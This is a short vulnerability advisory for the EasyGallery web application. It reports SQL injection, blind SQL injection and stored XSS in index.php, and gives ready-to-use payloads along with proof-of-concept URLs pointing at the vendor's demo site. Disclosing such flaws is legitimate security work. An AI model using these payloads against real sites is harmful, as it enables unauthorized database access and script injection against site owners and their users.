Myisoft EasyGallery Cross Site Scripting / SQL Injection

`# Exploit Title: MYISOFT EasyGallery SQL Injection - Blind SQL   
Injection - Stored XSS  
# Date: 2011  
# Author: Eyup CELIK  
# Version: All Version  
# Tested on: All versions are Vulnerability  
# Web Site: www.eyupcelik.com.tr  
  
  
ISSUE  
  
SQL Injection, Blind SQL Injection and XSS can be done using the command input  
  
Vulnerable Page:  
index.php  
  
  
Example:  
index.php?do=<SQL Injection Code>&page=register&PageSection=0  
index.php?catid=<SQL Injection Code>&page=category&PageSection=0  
index.php/<XSS Code>  
index.php?Go=Go&page=search&search=<Blind SQL Injection>  
  
  
Exploit:  
index.php?catid=1'&page=category&PageSection=0  
index.php/%27onmouseover=prompt(932505)%3E  
index.php?Go=Go&page=search&search=1' or (sleep(2)%2b1) limit 1 --  
  
  
POC:  
http://myiosoft.com/products/EasyGallery/demo/staticpages/easygallery/index.php?catid=1'&page=category&PageSection=0  
http://myiosoft.com/products/EasyGallery/demo/staticpages/easygallery/index.php/%27onmouseover=prompt(932505)%3E  
http://myiosoft.com/products/EasyGallery/demo/staticpages/easygallery/index.php?Go=Go&page=search&search=1' or (sleep(2)%2b1) limit 1   
--  
  
  
  
Thanks,  
  
Eyup CELIK  
Information Technology Security Specialist  
http://www.eyupcelik.com.tr  
`